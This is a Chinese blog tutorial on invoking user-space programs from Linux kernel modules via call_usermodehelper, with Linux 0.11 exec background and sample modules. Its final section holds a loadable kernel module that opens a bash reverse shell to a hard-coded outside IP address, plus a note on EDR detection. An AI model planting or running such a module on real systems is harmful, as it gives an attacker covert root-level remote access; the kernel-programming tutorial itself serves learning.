Linux内核态调用用户态函数

0x00 程序怎么被执行

无论是内核态还是用户态函数最终都会执行 do_execve()

内核态 sys_execve,在 Linux 0.11 源码中,0.11/include/linux/sys.h

extern int sys_execve();

fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,
    sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,
    sys_unlink, sys_execve, ...};

而sys_execve底层又调用了 do_execve,其在 0.11/kernel/system_call.s 中定义

.align 2
sys_execve:
    lea EIP(%esp), %eax
    pushl %eax
    call do_execve
    addl $4, %esp
    ret

do_execve是真正执行函数,在 0.11/fs/exec.c 中定义

/*
 * do_execve() executes a new program.
 */
int do_execve(unsigned long *eip, long tmp, char* filename,
    char **argv, char **envp)
{
    if(!(inode=namei(filename)))    /*get executables inode*/
        return -ENOENT;
    argc = count(argv);
    envc = count(envp);
}

0x01 内核态调用用户态函数

在内核态可以通过 call_usermodehelpere() 函数实现对用户态函数的调用,其最终也是通过内核态函数 do_execve() 实现。

0x11 调用无输出无参数命令

示例: 调用 reboot 命令

call.c 

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init test_init(void)
{
    int ret      = -1;
    char path[]  = "/sbin/reboot";
    char *argv[] = {path, NULL};
    char *envp[] = {NULL};
    
    printk("call_usermodehelper module isstarting..!\n");
    
    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
    
    printk("ret=%d\n", ret);
    return 0;
}

static void __exit test_exit(void) 
{

}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

Makefile

obj-m += call.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

执行

insmod call.ko

通过call_usermodehelper_setup也可以调用(call_usermodehelper_setup)用户态的函数

0x12 调用无输出有参数命令

示例: 调用mkdir/rm命令

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init test_init(void)
{
    int ret      = -1;
    char path[]  = "/bin/mkdir";
    char *argv[] = {path, "-p", "/root/test", NULL};
    char *envp[] = {NULL};
    
    printk("call_usermodehelper module isstarting..!\n");
    
    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
    
    printk("ret=%d\n", ret);
    return 0;
}

static void __exit test_exit(void) 
{
    int ret      = -1;
    char path[]  = "/bin/rm";
    char *argv[] = {path, "-r", "/root/test", NULL};
    char *envp[] = {NULL};

    printk("call_usermodehelper module isstarting..!\n");

    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);

    printk("ret=%d\n", ret);
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

Makefile

obj-m += call.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

执行

insmod call.ko

0x13 调用有输出有参数命令

示例: ls -la

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init test_init(void)
{
    int ret      = -1;
    char path[]  = "/bin/bash";
    char *argv[] = {path, "-c", "ls", "-la", ">", "/root/ls_output.txt", NULL};
    char *envp[] = {NULL};
    
    printk("call_usermodehelper module isstarting..!\n");
    
    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
    
    printk("test_init ret=%d\n", ret);
    return 0;
}

static void __exit test_exit(void) 
{
    int ret      = -1;
    char path[]  = "/bin/rm";
    char *argv[] = {path, "-r", "/root/ls_output.txt", NULL};
    char *envp[] = {NULL};

    printk("call_usermodehelper module isstarting..!\n");

    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);

    printk("test_exit ret=%d\n", ret);
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

0x14 反弹shell

示例: 反弹shell

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>

static int __init test_init(void)
{
    int ret      = -1;
    char path[]  = "/bin/bash";
    char *argv[] = {path, "-c", "bash -i >& /dev/tcp/47.111.147.96/10086 0>&1", NULL};
    char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
    
    printk("call_usermodehelper module isstarting..!\n");
    
    ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);
    
    printk("test_init ret=%d\n", ret);
    return 0;
}

static void __exit test_exit(void) 
{

}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

虽然是在内核态调用bash进行反弹shell,但是普通EDR仍然能检测到反弹shell,因为调用的还是用户态的/bin/bash。

  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值